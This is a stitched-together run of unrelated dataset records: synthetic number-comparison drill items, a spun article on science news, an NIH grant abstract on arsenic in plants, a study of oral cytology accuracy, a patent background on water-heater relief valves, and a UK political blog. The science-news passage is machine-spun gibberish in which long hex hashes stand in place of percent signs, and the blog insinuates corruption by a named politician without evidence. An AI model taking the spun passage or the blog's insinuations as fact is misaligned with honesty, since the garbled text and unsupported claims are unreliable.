0.22, -1/13, -2/15?", "\n-2\nWhich is the smallest value? ", " (a) -3 (b) -1 (c) -0.06 (d) -2 (e) -49/4\ne\nWhat is the biggest value in -1/19, -3/10, 0.6, 0?", "\n0.6\nWhich is the smallest value? ", " (a) -1.4 (b) -3 (c) 2315 (d) 4\nb\nWhich is the third biggest value? ", " (a) 2/83 (b) -0.4 (c) -1.7\nc\nWhat is the fourth biggest value in 2/19, 0, -2, 4, -0.22?", "\n-0.22\nWhich is the biggest value? ", " (a) 4 (b) 1 (c) -84755 (d) -5\na\nWhat is the second biggest value in -0.1, -0.59, -55, -1?", "\n-0.59\nWhat is the smallest value in -2, 6, -3721, -0.4?", "\n-3721\nWhat is the biggest value in 0.12, -27, -12/11?", "\n0.12\nWhich is the biggest value? ", " (a) 7/178 (b) 10 (c) 8\nb\nWhich is the fourth smallest value? ", " (a) 3 (b) 18 (c) 1 (d) 7/324\nb\nWhat is the fifth biggest value in 2/25, 0.1, -3, 2, 71, -8?", "\n-3\nWhat is the second biggest value in -4, -0.5, 1/116, -0.6?", "\n-0.5\nWhich is the second smallest value? ", " (a) -1/8 (b) 61 (c) 4 (d) 8/11 (e) 22\nd\nWhich is the smallest value? ", " (a) -2 (b) -3/7 (c) 0 (d) 27/8 (e) 2 (f) -0.08\na\nWhich is the second smallest value? ", " (a) 1 (b) 84601 (c) 0\na\nWhich is the third bigges" ]

{ "pile_set_name": "DM Mathematics" }

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[ "High 10 Pretend Science Information Of 2017\n\nThe advent of technology has revolutionized the well being care trade, because the modifications have definitely improved medication, science, and life. ", "Newspapers use pictures and captivating headlines to attract in readers and maintain their consideration. ", "More than seven-in-ten energetic science information shoppers say science and technology museums (seventy four{3fc305a645340ec821e3eec9159a043aee24594d7c33799d9d5f53e942acb836}), science documentaries (73{3fc305a645340ec821e3eec9159a043aee24594d7c33799d9d5f53e942acb836}) and science magazines (72{3fc305a645340ec821e3eec9159a043aee24594d7c33799d9d5f53e942acb836}) get the info proper more often than not.", "\n\nPrevious editions from the Science within the Information archive provide extra reading resources for whole-group instruction or unbiased follow. ", "If the claim is that humans WILL cause serious local weather change in only some decades, then the declare IS that humans ARE ACTUALLY within the technique of inflicting important local weather change.", "\n\nThese interactive web sites and apps breathe life into textbook illustrations and lessons about the human physique and anatomy for Okay-12 college students. ", "On the similar time in a bunch of people talking concerning the news you will not wish to be the only one who is not conscious of what is going on on as this can make you feel very isolated and out of contact.", "\n\nIts namesake is Eos, the Greek goddess of the dawn, who represents the light shed on understanding our planet and its environment in area by the Earth and space sciences. ", "Identify, Initial Yr, ‘Article Name’, Newspaper Name, Day and Month, Page(s) of Article.", "\n\nAs facilitator of scholars’ learning in Earth Science I should at all times bear in mind that classroom self-discipline is de facto one of the vital tools in order that studying could possibly be attained. ", "As you say, climate science may be very complex and we need to perceive it significantly better before proposing drastic modifications that will or could not work." ]

{ "pile_set_name": "Pile-CC" }

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[ "This project aims to study the genetic control of arsenic (As) homeostasis in plants. ", "This will enable the development of plants that can selectively exclude As from their tissues, preventing As accumulation in food crops and reducing human dietary intake of As. ", "Arsenic is one of the primary metal(loid)s of concern at Superfund Sites and chronic low-dose exposure is linked to an increased incidence of bladder cancer. ", "Dietary studies of As intake in humans show that after drinking water, white rice is the most significant source of inorganic As for humans. ", "A market basket survey found higher As concentrations in U.S. grown rice than rice grown in the As-affected regions of the Bengal Delta. ", "In U.S. rice, As is thought to have come from arsenical pesticides used in the production of cotton, but As input to soil comes from a variety of industrial sources. ", "We aim to use Arabidopsis, rice and the As-hyperaccumulating brake fern as model plant systems. ", "They represent two species with a completed genomic sequence;one of the most important staple food crops plants and an important dietary source of inorganic As for humans, and one of the few plant species with intrinsic As resistance. ", "We propose to use an interdisciplinary approach that combines ionomic survey techniques, quantitative trait loci (QTL) mapping and spatially resolved metal(loid) analysis and speciation via synchrotron x-ray microprobe (SXRM). ", "The research strategy consists of gene discovery and gene characterization phases. ", "For gene discovery, approaches include mining an existing dataset of elemental profiles of 4,000 yeast and 62,000 Arabidopsis samples for those with altered As phenotypes as well as examining natural accessions of Arabdiospis for differences in As accumulation. ", "We will use highthroughput elemental analysis and DMA microarray-based mapping to identify genes that regulate As accumulation in rice, screening 1,790 rice accessions with the USDA's Rice Core Collection and examining QTLs for As in the Lemont X Teqing mapping population. ", "We will use SXRM to investigate changes in the micron-scale metal(loid) distribution, abundance and/or speciation in plant tissue resulting from the deletion or silencing of selected genes of interest. ", "This technique allowed successful characterization of gene function in a recent study of iron homeostasis. ", "An important product of the gene characterization phase will be the online publication of an Elemental Atlas of Arabidopsis available to the wider scientific community.", "This proposed research expands the application of x-ray techniques beyond a spatially-resolved analytical technique into a tool for functionally characterizing ion homeostasis genes, as well as protecting human food supplies." ]

{ "pile_set_name": "NIH ExPorter" }

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[ "Background {#Sec1}\n==========\n\nExfoliative cytology is a reliable tool for assessing malignant change in various organs \\[[@CR1]\\]. ", "Cytology has been also applied to the diagnosis of oral lesions \\[[@CR2]--[@CR4]\\]. ", "Accurate cytological diagnosis of oral lesions, especially in distinguishing benign lesions from malignant ones, is essential for treatment as well as for clinical and epidemiological research including the study of prognosis \\[[@CR5]\\].", "\n\nWith respect to cytological diagnosis, the classification of cervicovaginal smears into five classes was initially proposed by Papanicolaou, who formulated a series of guidelines for smear interpretation \\[[@CR6]\\]. ", "This system was generally well received, although the significance of the classes was often modified to meet the requirements of laboratories in consultation with clinicians \\[[@CR7]\\]. ", "In December 1988, a committee of experts who convened under the auspices of the National Cancer Institute (USA) in Bethesda, Maryland, proposed a diagnostic system for the interpretation of cervicovaginal smears. ", "The resulting Bethesda System (modified in 2001) was officially accepted by the federal authorities in the United States \\[[@CR8]\\]. ", "Recently, this system has been used in various fields such as thyroid, renal, and female genital cytology \\[[@CR9]\\].", "\n\nFuller et al. ", "pointed out that although oral cytology seems to have a higher diagnostic value, further study is needed to assess this \\[[@CR10]\\]. ", "However, the accuracy of oral cytology is unknown. ", "Similar to other fields, diagnosis in oral cytology has been based on the Papanicolaou classification, not by Bethesda System \\[[@CR8], [@CR9]\\]. ", "However, there had been no established diagnostic guideline in Japan. ", "The Japanese Society of Clinical Cytology (JSCC) then organized a working group for oral cytology to confirm the accuracy of oral cytology according to Bethesda System \\[[@CR8], [@CR9]\\] in 2013, and established a diagnostic guideline committee for oral cytology in 2013.", "\n\nThis study investigated the clinical applicability of oral cytology following Bethesda System \\[[@CR8], [@CR9]\\] before the publication of diagnostic guideline by JSCC \\[[@CR11]\\] by exploring the diagnostic accuracy of oral cytology based on histological diagnosis as the gold standard.", "\n\nMethods {#Sec2}\n=======\n\nSamples {#Sec3}\n-------\n\nPatients diagnosed with oral disease were examined in this study. ", "All cytology samples were prepared from benign or malignant oral lesions for biopsy and/or surgically resection. ", "The samples were prepared by smearing collected cells on glass slides, which were then immersed in 95% ethanol, fixed, and stained with Papanicolaou staining. ", "The samples derived from the patient population had results of oral cytology. ", "Data from five Japanese institutions were included (Department of Oral and Maxillofacial Surgery, Shimane University Faculty of Medicine; Department of Oral Pathology, School/Graduate School of Dentistry Osaka University; Second Department of Oral and Maxillofacial Surgery, Osaka Dental University; Department of Health Promotion, Division of Oral Pathology, Kyushu Dental University and Department of Oral Pathology, Division of Oral Pathogenesis and Disease Control, Asahi University School of Dentistry). ", "The samples (including data) were retrospectively collected in clinical practice between October 2007 and November 2013, and cytological and histological tests were performed simultaneously.", "\n\nThis study was planned and performed following STARD checklist for reporting of studies of diagnostic accuracy ([http://www.stard-statement.org](http://www.stard-statement.org/)) (data not shown).", "\n\nProcedure of cytological diagnosis {#Sec4}\n----------------------------------\n\nAll the raters who passed the board examination for cytology of JSCC reviewed the samples. ", "The slides were evaluated independently by at least two raters, and a representative cytology result of each case was determined by a majority vote.", "\n\nCytological diagnoses were performed based on Bethesda System \\[[@CR8], [@CR9]\\], and were classified into NILM (negative for intraepithelial lesion or malignancy), LSIL (low-grade squamous intraepithelial lesion), HSIL (high-grade squamous intraepithelial lesion), SCC (squamous cell carcinoma), and IFN (indefinite for neoplasia or non-neoplasia) (Table [1](#Tab1){ref-type=\"table\"}).", "\n\nProcedure of histological diagnosis {#Sec5}\n-----------------------------------\n\nA histological diagnosis was provided by oral pathologists at each institution, and then the number of biopsy samples was determined at the investigator's discretion. ", "These histological slides underwent hematoxylin and eosin staining. ", "Their histological findings were classified into five categories as follows. ", "Negative was defined as non-malignant lesions including inflammatory ones; Borderline lesion -- was defined as mild, mild--moderate, or moderate dysplasia; Borderline lesion + was defined as severe dysplasia; OIN/CIS was defined as oral intraepithelial neoplasia or carcinoma in situ; and \"Positive\" was defined as squamous cell carcinoma and other malignancies. ", "Borderline lesion -- and Borderline lesion + were prepared based on general rules for clinical and pathological studies on oral cancer \\[[@CR11], [@CR12]\\].", "\n\nAccordingly, the results of representative cytology were compared with the histology results.", "\n\nStatistical analysis {#Sec6}\n--------------------\n\nTo compare between cytological and histological diagnosis, the histological diagnoses were classified into Negative (Negative and Borderline lesion --) and Positive (Borderline lesion +, OIN/CIS and Positive), and cytological diagnosis were also classified into Negative (NILM) and Positive (LSIL, HSIL, SCC, Other malignancy) or Negative (NILM and LSIL) and Positive (HSIL, SCC, Other malignancy). ", "To examine the diagnostic performance by comparing their cytological diagnosis against the histological diagnosis, the sensitivity, specificity, positive predictive value, and negative predictive value were calculated, and all statistical analysis was performed using SAS version 9.3 (Cary, NC).", "\n\nResults {#Sec7}\n=======\n\nSamples {#Sec8}\n-------\n\nA total of 423 samples of oral cytology with accompanying histological slides from five institutions were screened. ", "Among the 423 samples, 96 samples (22.7%) were excluded from the study because of poor quality (e.g., scant cellularity or air-drying artifact). ", "The remaining 327 samples were reviewed. ", "The remaining 327 samples were reviewed by 10 raters. ", "Among these samples, 93, 47, 82, 80, 18, 1, and 6 samples were reviewed by 2, 3, 4, 5, 6, 7, 8 raters, respectively (Table [2](#Tab2){ref-type=\"table\"}).Table 1Diagnostic guideline for oral cytology, proposed by the Diagnostic Guideline Committee for Oral Cytology of the Japanese Society of Clinical CytologyAbbreviationCorresponding pathological diagnosisNILMnormal, infection, inflammation, lichen planus, leukoplakia, benign epithelial lesion, etc.", "LSILmild and moderate dysplasia, and SIN1 and SIN2; mentioned in WHO 2005HSILsevere dysplasia, carcinoma in situ, and SIN3; mentioned in WHO 2005SCCsquamous cell carcinomaOther malig.other malignancyIFNindefinite for neoplasia or non-neoplasiaCytological diagnoses were classified as NILM (negative for intraepithelial lesion or malignancy), LSIL (low-grade squamous intraepithelial lesion), HSIL (high-grade squamous intraepithelial lesion), or SCC (squamous cell carcinoma) and IFN (indefinite for neoplasia or non-neoplasia) Table 2The numbers of reviewing samples per number of ratersNumber of ratersNumber of samples (%)293 (28.4)347 (14.4)482 (25.1)580 (24.5)618 (5.5)71 (0.3)86 (1.8)\n\nHistological diagnosis {#Sec9}\n----------------------\n\nThe histological diagnoses of 327 cases were classified as Negative, Borderline lesion --, Borderline lesion +, OIN/CIS, or Positive (Table [3](#Tab3){ref-type=\"table\"}).Table 3Histopathological categories of the reviewed samplesDetails\\\n(*n* = 327)Histopathological diagnosisNegativePositiveNegative (*n* = 142)Borderline\\\nlesion --\\\n(*n* = 32)Borderline\\\nlesion +\\\n(*n* = 4)OIN/CIS (*n* = 12)Positive (*n* = 137)Benign tumor41Inflammation41Leukoplakia21Lichen planus14No malignancy10Epulis9Mucocele4Candidiasis1Pemphigus vulgaris1Dysplasia mild28mild--moderate2moderate2severe4OIN/CIS12Squamous cell carcinoma130Other malignancy7*OIN* oral intraepithelial neoplasia, *CIS* carcinoma in situ\n\nResult of cytological diagnosis compared with histological diagnosis {#Sec10}\n--------------------------------------------------------------------\n\nTable [4](#Tab4){ref-type=\"table\"} shows the results for cytological diagnoses compared with histological diagnoses. ", "In 142 cases that were histologically negative, the number of patients with NILM, LSIL, HSIL, and SCC and other malignancy was 77 (54.2%), 47 (34.3%), 8 (5.6%), and 10 (7.0%), respectively. ", "Among the 32 cases of Borderline lesion --, the number of patients with NILM, LSIL, HSIL, and SCC and other malignancy was 11 (34.3%), 11 (34.3%), 9 (28.1%), and 1 (3.1%), respectively. ", "Also, in the 4 cases of Borderline lesion +, the number of patients with NILM, LSIL, HSIL, and SCC and other malignancy was 2 (50.0%), 0 (0.0%), 0 (0.0%), 2 (50.0%), respectively. ", "Among the 12 cases of OIN/CIS, the number of patients with NILM, LSIL, HSIL, and SCC and other malignancy was 1 (8.3%), 2 (16.7%), 4 (33.3%), and 5 cases (41.7%), respectively. ", "Among 137 cases with a histological diagnosis of Positive, the number of patients with NILM, LSIL, HSIL, and SCC and other malignancy was 7 (5.1%), 22 (16.1%), 19 (13.9%), and 89 (65.0%), respectively.", "Table 4Results of cytological diagnoses compared with histopathological diagnosesCytological diagnosis\\\n*n* = 327Histopathological diagnosisNegativePositiveNegative\\\n(*n* = 142)Borderline\\\nlesion −\\\n(*n* = 32)Borderline\\\nlesion +\\\n(*n* = 4)OIN/CIS\\\n(*n* = 12)Positive\\\n(*n* = 137)NILM (*n* = 98)77 (54.2%)11 (34.3%)2 (50.0%)1 (8.3%)7 (5.1%)LSIL (*n* = 82)47 (34.3%)11 (34.3%)0 (0.0%)2 (16.7%)22 (16.1%)HSIL (*n* = 40)8 (5.6%)9 (28.1%)0 (0.0%)4 (33.3%)19 (13.9%)SCC (*n* = 104)9 (6.3%)1 (3.1%)2 (50.0%)5 (41.7%)87 (63.5%)Other malignancy (*n* = 3)1 (0.7%)0 (0.0%)0 (0.0%)0 (0.0%)2 (1.5%)*NILM* negative for intraepithelial lesion or malignancy, *LSIL* low-grade squamous intraepithelial lesion, *HSIL* high-grade squamous intraepithelial lesion, *SCC* squamous cell carcinoma, *OIN* oral intraepithelial neoplasia, *CIS* carcinoma in situ\n\nDistribution of histological diagnoses from the viewpoint of cytological diagnosis {#Sec11}\n----------------------------------------------------------------------------------\n\nFig.", " [1](#Fig1){ref-type=\"fig\"} shows the distribution of histological diagnoses from the viewpoint of cytological diagnosis. ", "Among cases with a cytological diagnosis of NILM (98 cases), 78.6, 11.2, 2.0, 1.0, and 7.1% had a histological diagnosis of Negative, Borderline lesion --, Borderline lesion +, OIN/CIS, and Positive, respectively. ", "Among cases with a cytological diagnosis of LSIL (82 cases), 57.3, 13.4, 0.0, 2.4, and 26.8% had a histological diagnosis of Negative, Borderline lesion --, Borderline lesion +, OIN/CIS, and Positive, respectively.", "Fig. ", "1Distribution of the 327 cases with a histological diagnosis in each cytological diagnostic category. ", "The percentages are shown above the columns\n\nOn the other hand, among cases with a cytological diagnosis of HSIL (40 cases) 20.0, 22.5, 0.0, 10.0, and 47.5% had a histological diagnosis of Negative, Borderline lesion --, Borderline lesion +, OIN/CIS, and Positive, respectively. ", "Among cases with cytological diagnoses of SCC or Other malignancy (107 cases), 9.3 , 0.9, 1.9, 4.7, and 83.2% had a histological diagnosis of Negative, Borderline lesion --, Borderline lesion +, OIN/CIS, and Positive, respectively.", "\n\nDiagnostic performance of cytological diagnoses {#Sec12}\n-----------------------------------------------\n\nWith respect to cytological diagnostic performance, the sensitivity, specificity, positive predictive value, were 93.5, 50.6, 62.4, and 89.8% when cytological Negative was assumed to be NILM only, respectively (Table [5](#Tab5){ref-type=\"table\"}). ", "Also, these measures were 77.8, 83.9, 81.0, and 81.1% when cytological Negative was assumed to be NILM and LSIL (Table [5](#Tab5){ref-type=\"table\"}).Table 5Diagnostic performance of cytological diagnosesDiscrimination of result of cytological diagnosisHistopathological diagnosis^a^Sensitivity (%)Specificity (%)Positive\\\nPredictive\\\nvalue\\\n(%)Negative\\\nPredictive\\\nvalue\\\n(%)Positive (*n* = 153)Negative (*n* = 174)Worse than NILM1438693.550.662.489.8NILM1088Worse than LSIL1192877.883.981.081.1NILM or LSIL34146*NILM* negative for intraepithelial lesion or malignancy, *LSIL* low-grade squamous intraepithelial lesion, *HSIL* high-grade squamous intraepithelial lesion, *SCC* squamous cell carcinoma, *OIN* oral intraepithelial neoplasia, CIS carcinoma in situ, ^a^: Positive included Positive, OIN/CIS, and Borderline lesion + based on the result of histopathological diagnosis, and Negative included Negative and Borderline lesion --\n\nDiscussion {#Sec13}\n==========\n\nThe cytological collection had various methods and instruments. ", "In this study, all samples were conventionally smeared and Papanicolaou stained, although recently liquid-based cytology has become common in the field of gynecology \\[[@CR13], [@CR14]\\]. ", "The conventional method is still common in the field of oral and maxillofacial surgery, despite the technical error of delay in fixation of the smear sample leads to an air-drying artifact \\[[@CR4]\\]. ", "Actually, in this study, 96 slides (22.7%) were deemed inadequate for review due to scant cellularity or air-drying artifact, all of which were prepared in one institution. ", "Also, these inadequate samples were partially due to the fact that cytology instruments do not obtain a sample from the lesion \\[[@CR4]\\], because the cytological instruments varied from cotton swabs to intratooth brush in period of sample collection. ", "To improve the quality of the cytology slides, the methods and instruments of cytological collection should be reconsidered and standardized.", "\n\nAs most of oral neoplasms originated in squamous cell epithelium, the squamous epithelium should be deeply reviewed for accurate histological diagnosis of oral lesions \\[[@CR15]\\]. ", "In the field of oral histopahology, there has been controversy for classification or severity of oral epithelial dysplasia (OED) into categories of Borderline lesions + or -- \\[[@CR12]\\]. ", "According to a literature \\[[@CR16]\\], mild epithelial dysplasia refers to alteration in limited to the basal and parabasal layers, moderate epithelial dysplasia refers to alteration in the basal to mid-portion of the spsinous layer, and severe epithelial dysplasia refers to alteration that affect more than half of the thickness of the epithelium.", "\n\nBecause most dyslpastic changes occur in the basal and parabasal layers \\[[@CR17]\\], to obtain a sample from the deepest layer of lesion is important to make an accurate cytological diagnosis of oral lesions derived from squamous cells. ", "Further, because most cases of oral SCC are the differentiated type and are different from cervical SCC, most of the superficial cells of these lesions are not malignant and could be a reason of a false-negative diagnosis. ", "An another reason for these \"misdiagnoses\" can be that the nuclear morphology of oral epithelial cells is easily affected by malignant transformation as well as inflammation and oral bacilli, so the shape of the nuclei would seem to be atypical and dysplastic, which would make accurate diagnosis in oral cytology difficult \\[[@CR14]\\].", "\n\nThe uncertain cytological diagnosis of borderline lesions may affect our results as shown in Figure [1](#Fig1){ref-type=\"fig\"}. ", "However, in previous study \\[[@CR4], [@CR18]--[@CR20]\\], detail of diagnoses in borderline lesions was not available. ", "In future, the detailed information for borderline lesions should be investigated regarding the oral cytological diagnoses.", "\n\nAs borderline lesions diagnosed as LSIL and HSIL are then indicated for surgical resection in our hospital \\[[@CR5], [@CR21]\\], we strongly recommend that cases with cytological diagnoses of LSIL, HSIL SCC and Other malignancy should belong to the category of cytological positive. ", "In our study, the number of false-positive and false-negative diagnosis affected cases with LSIL and HSIL may indicate the difficulty in the cytological diagnosis of borderline lesions (Table [4](#Tab4){ref-type=\"table\"}, Fig.", " [1](#Fig1){ref-type=\"fig\"}). ", "While the negative predictive value was relatively high (89.8%, Table [5](#Tab5){ref-type=\"table\"}) when cytological Negative was assumed to be NILM only.", "\n\nAs with most white oral lesions, the color is derived from the thickened keratin layer or thickened spinous layer, which masks the vascularity (redness) of the underlying connective tissue \\[[@CR16]\\]. ", "Accurate diagnosis of such white lesions is clinically difficult \\[[@CR16], [@CR17]\\], and a precise diagnosis of dysplasia in intraepithelial lesions is difficult even in histopathologic specimens \\[[@CR16]\\]. ", "Recently, Sekine et al \\[[@CR21]\\] reported that nucleus accumbens-associated protein 1 (NAC1) has the potential to be used as a biomarker for distinguishing OED from CIS/OSCC. ", "Standardization of the diagnosis of borderline lesions such as epithelial dysplasia is needed from a cytopathological viewpoint. ", "There are very few studies on the accuracy of oral cytology \\[[@CR22]\\], so it still remains unknown whether our results are satisfactory.", "\n\nIn this study, the cytology slides were evaluated by 10 raters and the results were compared with the histology results. ", "Though each rater evaluated certain samples only one time in this study, one limitation was that the intra-examiner reliability was not able to be evaluated. ", "In future, however, we will design and perform the further study to evaluate intra-examiner reliability on cytological diagnosis for oral cancer. ", "Furthermore, revision of diagnostic guideline by JSCC \\[[@CR11]\\] should be needed, as detailed classification, such as atypical squamous cells of undetermined significance (ASC-US) and atypical squamous cells cannot exclude HSIL (ASC-H) in the field of gynecology, should be considered to achieve more accurate diagnosis for borderline lesions in oral cytology.", "\n\nConclusion {#Sec14}\n==========\n\nIn conclusion, histopathological examination should be recommended in cases with cytological diagnoses of LSIL, HSIL, and SCCC.", "\n\nASC-H\n\n: Atypical squamous cells cannot exclude hsil\n\nASC-US\n\n: Atypical squamous cells of undetermined significance\n\nCIN\n\n: Cervical intraepithelial neoplasia\n\nCIS\n\n: Carcinoma in situ\n\nHSIL\n\n: High-grade squamous intraepithelial lesion\n\nIFN\n\n: Indefinite for neoplasia or non-neoplasia\n\nJSCC\n\n: The Japanese society of clinical cytology\n\nLSIL\n\n: Low-grade squamous intraepithelial lesion\n\nNAC1\n\n: Nucleus accumbens-associated protein 1\n\nNILM\n\n: Negative for intraepithelial lesion or malignancy\n\nOED\n\n: Oral epithelial dysplasia\n\nOIN\n\n: Oral intraepithelial neoplasia\n\nSCC\n\n: Squamous cell carcinoma\n\nThe authors thank all the raters in this study. ", "We also thank all members of the Oral Cytology Working Group of the Japanese Society of Clinical Cytology for their cooperation and supplying the cytological slides and histological data. ", "The Translational Research Informatics Center (TRI) was not involved in the process of data collection and analyzed the provided dataset that the principal investigator collected. ", "The principal investigator guarantees the quality of the data.", "\n\nFunding {#FPar1}\n=======\n\nThis study was funded by the Japanese Society of Clinical Cytology (Head: President Hiroshi Sasaki). ", "First author has received a donation of 3,000,000 Japanese yen from the Japanese Society of Clinical Cytology for this research project. ", "The funder had no role in the study design.", "\n\nAvailability of data and materials {#FPar2}\n==================================\n\nPlease contact author for data requests.", "\n\nAuthors' contributions {#FPar3}\n======================\n\nJS participated in cytological diagnosis and drafted the manuscript. ", "KH and TI participated in the design of the study and cytological diagnosis. ", "EN participated in the design of the study and performed the statistical analysis. ", "JS and HS conceived of the study, and participated in its design and coordination and helped to draft the manuscript. ", "All authors read and approved the final manuscript.", "\n\nAuthors' information {#FPar4}\n====================\n\nNone.", "\n\nCompeting interests {#FPar5}\n===================\n\nThe authors declare that they have no competing interests.", "\n\nConsent for publication {#FPar6}\n=======================\n\nNot applicable.", "\n\nEthics approval and consent to participate {#FPar7}\n==========================================\n\nAll procedures performed in this study were approved by the ethical committee at Shimane University (Approval no. ", "1270; March 29, 2013). ", "It was not necessary to obtain approval from the ethical committee of the authors' institution, because the study used the hospital database of Shimane University and those of four other hospitals employing unlinked anonymity. ", "The unlinked anonymity of the patients was finally ensured by the president of Shimane University Faculty of Medicine. ", "For this retrospective study formal informed consent is not required.", "\n\nPublisher's Note {#FPar8}\n================\n\nSpringer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.", "\n" ]

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[ "A tank-type liquid heater (e.g., a residential water heater) is conventionally equipped with a relief valve assembly that protects against excessive temperature and excessive pressure. ", "Portions of these relief valves are subject to corrosion and calcification, either of which can render the valve inoperative and unable to prevent a tank from bursting or exploding and sometimes starting a fire. ", "Such fires and explosions cause structural damage, deaths and injuries each year in the United States and worldwide.", "\nOverpressure protection is commonly supplied with a valve in which a coil spring acts on an axially translatable shaft to bias a moveable member (e.g., a valve head or disk) against a seat. ", "The coil spring strength and the disk size are commonly selected so that the valve opens and vents water when pressure in the tank exceeds, for example, 150 psi, which is below a burst pressure of the tank. ", "This valve is subject to corrosion and calcification because one side of the disk is exposed to the water inside the tank during normal operation and both the other side of the disk and the poppet spring are exposed to water when the valve relieves overpressure, is manually opened for test purposes, or is improperly installed to provide upwardly directed outflow.", "\nAttempts to deal with the deleterious effects of corrosion and calcification have commonly resulted in a requirement for regular (generally annual) manual test operation of an overpressure valve and scheduled replacement of that valve. ", "Both of these safety practices are commonly ignored by the consumer, resulting in catastrophic property damages and injuries.", "\nIf the heater does not have a functioning inlet check valve, a runaway heater element may cause dangerous excess temperature not accompanied by excess pressure. ", "Overtemperature protection is commonly supplied independently of overpressure protection with a wax motor temperature sensor/actuator that includes a protruding plunger or stroke rod portion that pushes against the wetted side of the poppet valve disk when the wax is heated and expands. ", "The temperature sensor/actuator is also wetted by the water in the tank and is subject to corrosion, calcification and mineral deposits.", "\nAccordingly, there is a need for an improved T&P valve that is protected from catastrophic failure by preventing corrosion, calcification and mineral deposits from affecting operation of the valve during over-temperature and over-pressure events." ]

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[ "The new figures indicate that in the year 2007-8 there were some 277 deaths from stabbings in England & Wales alone(the highest recorded figure for 30 years). ", "This represents an average death toll as a direct result of stabbings of over 5 for every week of the year!", "\n\nAm I implying the rise in atheism is linked to knife crime? ", "Perhaps what I’m really implying is that you can link atheism or religion to other country statistics in anyway you see fit to demonstrate your point – something I’ve noticed the Friendly Atheist is occasionally fond of doing.", "\n\nGavin Ayling thinks the law should be written in plain English. ", "I’d like to expand on his post. ", "I’ve always been amazed at this legal principle that underlines society.", "\n\nSince there are so many laws and regulations to follows wouldn’t many of us be ignorant until pulled up on one?", "\n\nAnd yet how many times have we come up against authorities themselves who play upon our ignorance and ignore the laws meant to keep them in check?", "\n\nIt seems to me laws have been crafted as to cover every tiny possibility and remove as much discretion as possible for a judge to employ. ", "I think an efficient and humanitarian society should look to reducing laws and regulations as much as possible – wording them so that they cover a ‘multitude of sins’ rather than every single little possibility. ", "This would then assure people of (a) their rights and (b) their responsibilities.", "\n\nAll of the above acts deal with or touch on violence of some sort. ", "Obviously we could say most reasonable people are not the violent type so many of these rules won’t apply, but this is just an example.", "\n\nWhat this tells me is at least one of the following reasons,\n\nThe lawmakers are too lazy, or braindead, to check if something is already covered in exsisting law\n\nThe existing law was not good enough\n\nThe law was created for political expediency, not for genuine practical reasons\n\nThere is money to be made in lawmaking\n\nIs not violence or harrassment against a black person as bad it is against a white person? ", "A gay person or straight person? ", "A child or adult? ", "An immigrant or local? ", "A man or woman?", "\n\nDoes this also mean that any minority not covered by this existing legislation is at risk from lawful violence?", "\n\n“Your honour, I would like to point out that the man my client attacked is a narcoleptic and is therefore not protected by any existing legislation. ", "My client was therefore acting in a lawful manner and I would request this case is thrown out.”", "\n\nWould it not be a better society if lawmakers actually tried to include the widest possible interpretation when crafting legislation? ", "Then, leave it for the judges to interpret and decide if a law had actually been broken or not.", "\n\nWhat’s wrong with, for example, a law that states “You shall not inflict violence upon another person”. ", "It would then be for a judge and jury to distinguish between a bloody beheading or a playful punch and award compensation and punishments on a scale.", "\n\n“To make laws that a man cannot, and will not obey, serves to bring all law into contempt.”– ", "Elizabeth Candy Stanton\n\nPeople do not exist for laws, laws exist for people and politicians need to get it into their head that society cannot be controlled or coerced into being happy and nice to each other, but most of us are capable of telling right from wrong. ", "No-one needs to consult various regulations and acts each day before leaving their house to ensure that they don’t commit an offence. ", "It’s time for better laws, not more laws.", "\n\nDavid Blunkett, who as Home Secretary led the government’s push for compulsory ID cards, will tomorrow call for the scheme to be curtailed, according to a report.", "\n\nInstead he will propose that only foreigners be made to hold an ID card. ", "UK nationals should only be required to hold a passport, Blunkett will argue.", "\n\nFor those not in the know, whilst Blunkett was in public office, flogging ID Cards and all manner of Orwellian devices to use on us, the British public, he received a nice directorship with Entrust, the company who created Spains ID card system and lobbied for the contract for the British one.", "\n\nI’m sure there was no link between Blunketts cushty new job and his policy towards ID cards at the time.", "\n\nA glance at the news show Entrust doing reasonably well profits wise during the recession, so what has caused Blunkett to shift his stance?", "\n\nWorth watching this one, lack of sight has caused Blunketts nose to develop a keen sense of smell for money and influence.", "\n\nAs for the many Clintonites in the new administration, the folks who in the past gave us no health reform, a regressive and pauperizing diminishment of public aid, without any real checks on corporate power, I am glad that they are ultimately not in charge. ", "Obama appears to be unusually his own man.", "\n\nAn eloquent orator, he’s also aware of the dire need to lower expectations, which is my explanation for his relatively flat inaugural speech. ", "In sum, I see Obama as a very cool and controlled individual with a few very clear goals in mind who is a virtuoso in the art of persuasion and leadership.", "\n\nSo I thought I’d respond further.", "\n\nI eye Obama cautiously. ", "Whilst I was overjoyed he won, and am glad he is now President, I am careful not to put too much expectation on the man – for he is human after all and therefore he will, at some point let us down – as all human beings do.", "\n\nThat isn’t to say he can’t achieve great things – time will tell. ", "Hopefully he will not turn out to be a Bliar – but Bliar was greeted with much the same adulation and praise 12 years ago.", "\n\nBliar was seen as being young, idealistitc, being in touch with the people and as a positive change from the old ways.", "\n\nBliar was anti-nuclear – a member of the CND, but left his term calling for more nuclear power. ", "Just as Bush was dead against interfering in foreign nations.", "\n\nIt leads me to consider that there are those who get elected and there are those who pull the strings. ", "If Obama is genuine in his pursuit of change, and getting his agenda, then it is doubtless he will come up against these puppet masters and strong unseen opposition in the medium to long term. ", "I expect assassination attempts – and not by white supremacists though they would make a fitting scapegoat.", "\n\nRather than answer the question, Dawkins makes the presumption that the young lady in question is “brought up” in a Christian home and then turns the question back on her.", "\n\nI’d love to see how Dawkins addresses someone like me who was brought up without beliefs, dabbled in the occult, rejecting the faith of Jehova’s Witnesses, going from atheist to agnostic and opened myself up to whatever kind of higher power or beings were out there before becoming a Christian.", "\n\nI don’t know why supposed intellectual people cheer for someone who so obviously doesn’t want to accept the possibility of being wrong.", "\n\nHowever it appears that Dawkins has softened his stance on the existence of a higher power himself more recently, as Mattghg writes.", "\n\nIt seems Dawkins, though tirelessly never to admit he is wrong, considers there may be something “grander and more mysterious” than God out there after all. ", "Of course by suggesting this we get in to all sort of ad infinitum arguments, and I’m surprised he would take it upon himself to answer the the old atheist chesnut “Who created God?”.", "\n\nMaybe if Dawkins’ only personal objection to God is that the idea of ‘God’ for him is… boring.", "\n\nBoth Cleveland and Lancashire police caught defrauding the music industry, much like those it has arrested in the OiNK case before. ", "Cleveland particularly appear to be hoisted by their own petard in this case, being the force to bring prosecution against the OiNKers.", "\n\nMeanwhile it seems that Gordon Brown is also embracing piracy, by failing to acknowledge creative commons licensing.", "\n\nI’ve been wrong all theses years. ", "The government understands freedom perfectly, it just doesn’t want us to have 